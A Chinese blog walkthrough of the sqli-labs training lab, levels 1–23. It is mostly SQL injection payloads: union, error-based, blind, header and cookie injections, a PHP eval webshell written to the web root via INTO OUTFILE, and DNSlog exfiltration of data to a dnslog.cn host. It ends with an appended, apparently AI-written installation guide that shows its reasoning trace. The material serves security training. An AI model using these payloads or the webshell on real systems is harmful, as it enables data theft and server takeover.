Sqli-labs-master靶场1-23关通关详细教程(基础篇)


前言

Sqli-labs-master靶场很适合学习sql注入,有利于我们掌握sql注入的基本方法。


第一关

字符型注入 单引号闭合

http://10.40.1.22/sqli-labs-master/Less-1/?id=1’ --+

判断字段数

http://10.40.1.22/sqli-labs-master/Less-1/?id=1' order by 3 --+
http://10.40.1.22/sqli-labs-master/Less-1/?id=1' order by 4 --+

判断回显位

http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

爆数据库名

http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,2,database() --+

爆表名

http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

爆字段名

http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()  and table_name='users' --+

爆数据

http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,concat_ws('~',id,username,password),3 from security.users limit 0,1 --+

以上是sql注入一般流程

第二关

数字型注入
http://10.40.1.22/sqli-labs-master/Less-2/?id=1 --+
后面步骤同上

第三关

单引号括号闭合
http://10.40.1.22/sqli-labs-master/Less-3/?id=1’) --+

第四关

双引号括号闭合
http://10.40.1.22/sqli-labs-master/Less-4/?id=1") --+

第五关

单引号闭合 但页面无回显
尝试报错注入
http://10.40.1.22/sqli-labs-master/Less-5/?id=1’ and extractvalue(1,concat(‘~’,database())) --+
在database()处写sql语句

http://10.40.1.22/sqli-labs-master/Less-5/?id=1’ and extractvalue(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) --+

第六关

和第五关一样
只是双引号闭合
http://10.40.1.22/sqli-labs-master/Less-6/?id=1" --+

第七关

提示使用outfile
load_file()读取文件
前提:1、用户权限足够高,尽量具有root权限。2、secure_file_priv不为NULL
into outfile() 写入文件

采用’))闭合
http://10.40.1.22/sqli-labs-master/Less-7/?id=-1’)) union select 1,‘<?php @eval($_POST[123]); ?>’,3 into outfile ‘D://phpStudy//PHPTutorial//WWW//2.php’ --+
写入一句话木马
在服务端可查看已经上传
蚁剑连接成功

第八关

布尔盲注
根据页面回显是否正常猜测信息
一般步骤
1.猜长度 2.猜字母
常用函数 length() ascii() substring()
数据库名
http://10.40.1.22/sqli-labs-master/Less-8/?id=1’ and length(database())=8 --+
http://10.40.1.22/sqli-labs-master/Less-8/?id=1’ and substring(database(),1,1)=‘s’ --+
第一个表的第一个字符:http://10.40.1.22/sqli-labs-master/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+
第一个表的第二个字符:http://10.40.1.22/sqli-labs-master/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109–+

盲注还有其他更快的解法,比如可结合burp使用,dns_log盲注等

第九关

时间盲注
页面始终保持一个界面,通过查看响应时间辨别
常用函数if() sleep()
和布尔盲注类似
http://10.40.1.22/sqli-labs-master/Less-8/?id=1’ and if(length(database())=8,sleep(0),sleep(5)) --+
http://10.40.1.22/sqli-labs-master/Less-8/?id=1’ and if(substring(database(),1,1)=‘s’,sleep(0),sleep(5)) --+

第十关

双引号闭合,其余和第九关一样
时间盲注如何判断闭合方式?利用sleep()函数
下面语句表示如果闭合方式正确则等待5秒,错误立即执行
http://10.40.1.22/sqli-labs-master/Less-10/?id=1’ and sleep(5) --+
结果立即执行
http://10.40.1.22/sqli-labs-master/Less-10/?id=1" and sleep(5) --+
结果延迟5秒

第十一关

第十一关开始我们就要进行post注入了,这里建议安装firefox的插件hackbar或者使用burp suit抓包工具。
uname=admin’ order by 3 --+&passwd=admin&submit=Submit
在uname处sql注入,步骤和第一关一样

第十二关

和第十一关类似,只是采用了")闭合
uname=admin") order by 3 --+&passwd=admin&submit=Submit

第十三关

这一关没有回显,但会报错,可利用报错函数
并且采用’)闭合
uname=admin’) and extractvalue(1,concat(‘~’,(database()))) --+&passwd=admin&submit=Submit

第十四关

采用双引号闭合,其余与第十三关一样
uname=admin" and extractvalue(1,concat(‘~’,(database()))) --+&passwd=admin&submit=Submit

第十五关

用单引号对参数处理,但是没有报错显示。用延时注入或者ascii都行,与第八关和第九关类似
这里介绍一下dnslog盲注
主要利用的是域名解析读取文件,load_file()函数
uname=admin’ and load_file(concat(“\\”,(database()),“.evbxl5.dnslog.cn\1.txt”)) --+&passwd=admin&submit=Submit

第十六关

采用post方法,“)闭合方式,方法同第十五关一样
uname=admin”) and load_file(concat(“\\”,(database()),“.evbxl5.dnslog.cn\1.txt”)) --+&passwd=admin&submit=Submit

第十七关

根据提示对密码进行报错注入
单引号闭合
uname=admin&passwd=admin’ and updatexml(1,concat(‘~’,(database())),3)–+&submit=Submit

第十八关

user-agent报头注入
updatexml()和extractvalue()都可以
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0’ and updatexml(1,concat(0x7e,(select database())),1) and ‘1’ =‘1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0’ and extractvalue(1,concat(‘~’,(select database()))),‘’,‘’) #

第十九关

referer注入
语句与之前一样
'and updatexml(1,concat(0x7e,(select database())),1) and ‘1’= '1

第二十关

cookie注入
首次抓包抓不到cookie,直接提交后再次抓包即可获取到cookie
Cookie: uname=-admin’ union select 1,database(),3 #

第二十一关

要获取cookie和上一关一样,要在第二次获取
这一关将uname base64加密了
解题思路是将正常的查询语句base64加密后提交到表单即可
以此可判断闭合方式为’) (图略)
-admin’) union select 1,2,database() #

第二十二关

和上一关一样,只是闭合方式为"
-admin" union select 1,2,database() #

第二十三关

过滤注释的get注入
http://10.40.1.22/sqli-labs-master/Less-23/?id=-1’ union select 1,database(),3 and ‘1’='1

总结

以上是Sqli-labs-master靶场1-23注入方法,希望对大家有帮助,有误的地方恳请大家批评指正。

<think>好的,我现在需要帮助用户找到sqli-labs-master靶场的安装教程。用户的问题中提到他们需要配置指南和实验环境设置。首先,我应该回顾一下之前提供的引用内容,看看是否有相的安装步骤。 根据引用[1],用户需要修改db-creds.inc文件中的数据库凭据,这说明安装过程中涉及到配置数据库连接。引用[2]提到启动Web服务器后访问本地链接,这提示需要配置Web服务器如Apache,并且将sqli-labs-master放置在服务器目录下。引用[3]展示了SQL注入的示例,但可能对安装帮助不大。 接下来,我需要整理出一个步骤清晰的安装流程。首先确保系统环境满足要求,比如安装PHP、MySQL和Apache。然后下载并解压sqli-labs-masterWeb服务器的根目录。接着配置数据库,创建用户和数据库,并修改db-creds.inc文件中的用户名和密码。最后通过浏览器访问安装页面并初始化数据库。 可能用户遇到的问题包括数据库连接失败或文件权限问题,所以需要在注意事项中提到检查凭据和文件权限。此外,常见问题如页面无法访问可能涉及服务器配置,需要确保Apache运行正常,文件位置正确。 用户可能还需要测试环境是否配置成功,比如访问首页查看是否有界面,或者进行简单的注入测试。因此,在回答中应该包含这些验证步骤,并提醒用户参考提供的引用链接获取更多使用细节。 最后,生成的相问题应该围绕安装过程中的潜在问题、环境配置以及基本使用方法,帮助用户进一步解决可能遇到的困难。</think>### sqli-labs-master 靶场安装教程 #### 一、环境准备 1. **安装 Web 服务器** 推荐使用 $Apache$ 或 $Nginx$,需支持 PHP(版本 ≥5.4)和 MySQL/MariaDB。 **示例命令(Ubuntu)**: ```bash sudo apt install apache2 php mysql-server php-mysql ``` 2. **下载 sqli-labs-master** 从 GitHub 下载源码并解压到 Web 根目录(如 `/var/www/html/`): ```bash wget https://github.com/Audi-1/sqli-labs/archive/refs/heads/master.zip unzip master.zip -d /var/www/html/ ``` --- #### 二、数据库配置 1. **创建数据库与用户** ```sql CREATE DATABASE sqli_labs; CREATE USER 'sqlilab'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON sqli_labs.* TO 'sqlilab'@'localhost'; FLUSH PRIVILEGES; ``` 2. **修改数据库凭据** 打开文件 `sqli-labs-master/sql-connections/db-creds.inc`,更新以下参数[^1]: ```php <?php $host = 'localhost'; $dbuser = 'sqlilab'; $dbpass = 'password'; $dbname = 'sqli_labs'; ?> ``` --- #### 三、初始化靶场 1. **访问安装页面** 浏览器输入 `http://localhost/sqli-labs-master`,点击 **Setup/reset Database for labs** 初始化数据库[^2]。 2. **验证安装** 若页面显示 *Congratulations!*,则表示环境配置成功。 --- #### 四、注意事项 - 若遇到数据库连接错误,检查 `db-creds.inc` 文件权限与内容[^1]。 - 确保 PHP 的 `mysqli` 扩展已启用。 - 文件路径需与 Web 服务器配置匹配(如 Apache 的 `DocumentRoot`)。 --- #### 常见问题 1. **页面无法访问** 检查 Apache 是否运行,且 `sqli-labs-master` 文件夹位于 Web 根目录。 2. **初始化失败** 确认 MySQL 服务已启动,且用户权限正确[^1]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一纸-荒芜

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值